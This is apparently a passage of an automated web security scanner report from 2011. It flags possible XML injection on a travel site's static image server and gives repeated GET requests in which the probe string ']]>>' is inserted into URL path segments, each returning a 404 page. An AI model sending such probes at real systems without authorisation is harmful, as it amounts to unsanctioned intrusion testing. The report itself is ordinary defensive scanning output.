HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-gradient-opaque-price-info-module.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-opaque-price-lockup-bg-new-large.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-opaque-price-lockup-bg-new-large.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535991 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-opaque-price-lockup-bg-new-large.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:04 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-opaque-price-lockup-bg-new-large.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-opaque-price-lockup-bg-new-large.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-opaque-price-lockup-bg-new-large_cap.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-opaque-price-lockup-bg-new-large_cap.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-opaque-price-lockup-bg-new-large_cap.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-opaque-price-lockup-bg-new-large_cap.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-opaque-price-lockup-bg-new-large_cap.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:11 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:11 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-retail-tabs-on.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:23 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-retail-tabs-on.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:27 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-retail-tabs-on.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-retail-tabs-on.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:35 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-retail-tabs-on.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:38 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-top-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-top-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535995 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-top-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:05 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-top-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535944 Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
